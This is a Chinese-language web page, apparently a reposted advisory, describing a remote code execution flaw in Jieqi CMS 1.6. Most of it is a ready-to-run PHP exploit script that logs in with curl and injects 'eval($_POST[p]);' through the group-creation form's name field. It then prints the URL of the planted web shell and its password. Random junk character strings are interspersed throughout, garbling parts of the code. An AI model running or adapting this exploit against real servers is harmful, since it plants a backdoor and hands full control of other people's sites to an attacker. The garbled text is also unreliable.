杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。" Z3 b9 p$ G2 i
* [. }& m) @1 h( {* n1 A ; `) N/ M5 i7 X2 }* Q% V3 T! d% [+ Y
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
+ D9 ]5 r) Q6 E7 {) y 需要有一个能创建圈子的用户。
) i; o) ~8 M/ ^3 W) r5 S
6 h3 y0 j8 x: z<?php9 x- G- R+ W( x4 J4 @
5 R3 h) t$ _" B
print_r('$ _: R, o( ~' O& V8 {' y% F1 Q
+---------------------------------------------------------------------------+4 L$ j+ z. u" i u
Jieqi CMS V1.6 PHP Code Injection Exploit3 g9 O' ~5 l3 z/ ^. q
by flyh4t
% }' N% _$ g C' ?/ V Z' `mail: phpsec at hotmail dot com
# a1 g8 k1 m& c& Hteam: http://www.wolvez.org5 ]$ r% ~9 T9 O, R' x
+---------------------------------------------------------------------------+
; T3 x/ K8 q; r6 A'); /**+ E. w/ @/ d9 N k8 c
* works regardless of php.ini settings% a* i( q j/ Z1 Y% E4 ^
*/ if ($argc < 5) { print_r('
# x* N: N9 H' f v+ u+ ^+---------------------------------------------------------------------------+
' |& o& V7 B5 n' ^6 U/ U$ GUsage: php '.$argv[0].' host path username7 K1 Q1 S4 e. z" R. _( m0 F4 g6 O
host: target server (ip/hostname)
5 N! M& O' ~( m. Qpath: path to jieqicms 4 @* B9 {5 ^$ H4 @4 ~1 W! ]+ Q$ A+ d
uasename: a username who can create group
! i& L# {+ J: Y$ }1 G; c+ _1 pExample:7 ]4 O0 P9 F* B) J
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password" O! L& z5 s; ?
+---------------------------------------------------------------------------+
& q5 i8 s; ^" r" {'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961! }) m3 w8 c/ b! @/ {. a
Content-Disposition: form-data; name="gname"
6 N1 l: s+ X" v+ O4 Z! F
2 l, l0 s. {1 I1 G, {! b; A'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
) K6 @* L) R& n0 M+ d* A-----------------------------23281168279961
( j* ~- b ?- {" f. w4 g% T$ _Content-Disposition: form-data; name="gcatid"
3 `9 r$ E S; x * {! a7 |2 U8 _* \8 K* W% H$ V
1
. F" D$ B5 _8 W( e1 m-----------------------------23281168279961
' Z) _! S% Z* p* m$ r! O) R0 vContent-Disposition: form-data; name="gaudit"! M" p+ d! l% {& q( ]. k+ X8 p# H
/ x- P1 q0 Q. Z5 Z1 d
1, v8 d t# t# K' b- O% |# Y! O3 W
-----------------------------23281168279961
7 }% _! o/ O5 ?) N# JContent-Disposition: form-data; name="gbrief"
0 R! |. ]+ ]6 A1 A( [% ~
& ?6 n( I9 n% Q% S6 z11 b0 w/ P. |; Q" z% C- a0 z
-----------------------------23281168279961--
. a+ [0 Z" p* j' B'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
" }& m) G) e% {2 b
; L& W# p" ]' s- f, Jpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |